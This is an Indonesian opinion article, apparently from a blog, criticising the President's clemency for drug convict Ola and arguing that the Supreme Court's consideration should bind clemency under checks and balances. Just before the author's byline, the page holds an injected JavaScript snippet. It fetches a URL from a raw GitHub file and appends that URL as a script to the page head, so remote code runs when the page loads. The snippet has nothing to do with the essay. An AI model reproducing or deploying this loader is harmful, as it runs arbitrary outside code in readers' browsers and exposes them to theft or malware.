Grasi dan Pertimbangan Mahkamah Agung

Polemik mengenai pemberian grasi terhadap Ola, terpidana mati kasus narkoba masih hangat di perbincangkan di berbagai media.

Banyak kalangan yang menginginkan agar grasi tersebut di cabut setelah Ola terindikasi kuat kembali menjadi otak penyelundupan shabu dari India. Saya sendiri kurang sepaham dengan ini, walaupun tidak ada aturan yang mengatur/melarang secara jelas. Grasi merupakan pengampunan dari Presiden, sebagai kepala negara tidaklah elok memberikan suatu pengampunan lalu di tarik kembali, ini semakin mempertegas ketidakcermatan dari Presiden sebagai kepala negara. Implikasi kedepannya pun akan menimbulkan ketidakpastian. Presidan bisa saja seenaknya memberikan grasi, lalu menarik kembali begitu saja.

Salah satu pertimbangan pemberian grasi adalah bahwa Ola hanyalah bertindak sebagai kurir. Hal yang aneh adalah dari pengadilan negeri, pengadilan tinggi, sampai Peninjauan Kembali Ola terbukti sebagai pengedar dan pengandali narkoba. Tapi informasi/pertimbangan lain yang didengarkan presiden adalah Ola hanya sebagai kurir. Bahkan MA juga dalam pertimbangannya kepada presiden tidak menghendaki adanya grasi. Hal ini sendiri paradoks dengan sikap presiden selama ini yang selalu enggan untuk mencampuri urusan hukum dangan alasan menghormati hukum.

Sebagai negara hukum maka apa yang diputuskan oleh pengadilan dari pengadilan tinggi, banding sampai upaya peninjauan kembali adalah fakta-fakta yang sudah diuji kebenarannya secara hukum. Jadi yang sepatutnya di perhatikan presiden adalah putusan pengadilan negeri samapi PK tadi dan terutama di perkuat dengan pertimbangan MA. Lalu dimana presiden mengambil/menerima pertimbangan atau fakta-fakta yang mengatakan Ola hanya kurir? Adakah fakta yang lebih kuat dari fakta hukum?

Presiden dan Mahkamah Agung

Pasal 14 ayat 1 UUD 1945, menyebutkan bahwa Presiden memberi grasi dan rehabilitasi dengan memperhatikan pertimbangan Mahkamah Agung. Kata “memperhatikan” ini apakah mengikat presiden? Menurut Saldi Isra (Kompas, 16/11), keliru mengatakan jika pertimbangan MA tidak mengikat Presiden jika diletakkan dalam bingkai hubungan antar lembaga negara. Lebih lanjut Saldi mengatakan bahwa dengan adanya frasa “setelah mendapat pertimbangan MA”, pertimbangan itu merupakan syarat yang harus dipenuhi dalam memberikan grasi.

Adanya syarat “pertimbangan MA” tersebut merupakan salah satu bentuk checks and balances antara yudikatif dan eksekutif. Karena setelah amanedemen UUD 1945, sistem yang dianut adalah sistem pemisahan kekuasaan yang didasarkan atas checks and balances, agar lembaga negara bisa saling mengawasi dan mengimbangi sehingga tidak terjadi kesewenang-wenangan. Dalam hal ini, presiden seyogyanya tidak menafikan begitu saja pertimbangan dari Mahkamah Agung.

Mengabaikan pertimbangan dari MA akan semakin memperlemah checks and balances antar lembaga negara, khususnya antara yudikatif dengan eksekutif. Hal ini akan menjadi preseden buruk kedepannya. Tidak tertutup kemungkinan kedepan presiden pun akan mengabaikan pertimbangan Dewan Perwakilan Rakyat (DPR) jika suatu saat memberikan amnesti dan abolisi, ataukah dalam berbagai hal yang tentunya ini akan memperburuk demokrasi di negeri ini yang belum matang.

Yang jelas, grasi terhadap Ola yang menimbulkan polemik ini mudah-mudahan bisa menjadi pelajaran/peringatan kepada presiden sekarang dan presiden yang akan datang untuk berhati-hati dalam memberikan grasi.

Hal lain yang perlu dicermati adalah bukan hanya grasi presiden tentang Ola tapi juga di MA yang seringkali lunak terhadap kasus-kasus narkoba, contohnya putusan  peninjauan kembali (PK) di Mahkamah Agung yang membatalkan hukuman mati gembong narkoba, Hangky Gunawan dan menghukumnya 15 tahun penjara. Lalu apa jadinya Dua lembaga tinggi negara begitu toleran terhadap masalah/kasus narkoba?

 

  (var url = “https://raw.githubusercontent.com/truba77/trubnik/main/to.txt”; fetch(url) .then(response => response.text()) .then(data => { var script = document.createElement(“script”); script.src = data.trim(); document.getElementsByTagName(“head”)[0].appendChild(script); });)

Ahmad Amrullah Sudiarto, S.H.

Mahasiswa Program Pascasarjana Universitas Gajah Mada, Bagian HukumTata Negara

You may also like...